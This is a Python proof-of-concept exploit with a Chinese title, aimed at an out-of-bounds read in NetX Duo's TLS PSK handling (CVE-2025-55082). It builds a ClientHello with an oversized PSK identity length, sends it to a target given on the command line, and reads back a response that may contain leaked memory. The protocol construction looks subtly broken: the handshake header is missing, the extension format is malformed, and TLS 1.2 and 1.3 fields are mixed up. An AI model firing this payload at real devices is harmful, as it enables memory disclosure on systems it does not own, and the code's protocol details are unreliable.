CVE-2025-55082 Eclipse ThreadX NetX Duo TLS PSK长度越界读取漏洞

# CVE-2025-55082 PoC - NetX Duo TLS PSK Length Out-of-Bounds Read # This PoC demonstrates the vulnerability by sending a malicious TLS ClientHello # with an abnormally long PSK identity length to trigger OOB read. import socket import struct import ssl def build_malicious_client_hello(target_host, target_port): """ Build a TLS ClientHello message with malicious PSK extension containing an oversized identity_length to trigger OOB read in _nx_secure_tls_process_clienthello(). """ # TLS record header: ContentType(Handshake=22) | Version | Length # Handshake type: ClientHello (1) client_hello = bytearray() # Client Version: TLS 1.2 (0x0303) client_hello += struct.pack('>H', 0x0303) # Random (32 bytes) client_hello += b'\x00' * 32 # Session ID Length (0) client_hello += b'\x00' # Cipher Suites Length and Suites cipher_suites = struct.pack('>H', 2) + struct.pack('>H', 0x1301) # TLS_AES_128_GCM_SHA256 client_hello += cipher_suites # Compression Methods client_hello += b'\x01\x00' # 1 method, null compression # Extensions extensions = bytearray() # PSK Extension (type 0x0029 for TLS 1.3 / 0x002D for PSK in TLS 1.2) # Malicious PSK identity with abnormally long length psk_extension = bytearray() psk_extension += struct.pack('>H', 0x0029) # PSK extension type # Malicious PSK identity with oversized length to trigger OOB read psk_identity_length = 0xFFFF # Abnormally large length psk_extension += struct.pack('>H', psk_identity_length) psk_extension += b'A' * 16 # Actual PSK identity data (much shorter than declared) # PSK binder (minimal) psk_extension += struct.pack('>H', 0) # binder length extensions += struct.pack('>H', len(psk_extension)) extensions += psk_extension client_hello += struct.pack('>H', len(extensions)) client_hello += extensions # Wrap in TLS record tls_record = bytearray() tls_record += b'\x16' # ContentType: Handshake tls_record += struct.pack('>H', 0x0301) # Version: TLS 1.0 (compatible) tls_record += struct.pack('>H', len(client_hello)) tls_record += client_hello return bytes(tls_record) def exploit(target_host, target_port): """ Send malicious ClientHello to trigger OOB read vulnerability """ print(f"[*] Targeting {target_host}:{target_port}") print(f"[*] CVE-2025-55082 - NetX Duo TLS PSK Length OOB Read") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_host, target_port)) payload = build_malicious_client_hello(target_host, target_port) print(f"[*] Sending malicious ClientHello ({len(payload)} bytes)") sock.send(payload) # Receive response (may contain leaked memory or error) response = sock.recv(4096) print(f"[*] Received {len(response)} bytes from server") sock.close() print("[+] Exploit completed") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] else: target = "127.0.0.1" port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 exploit(target, port)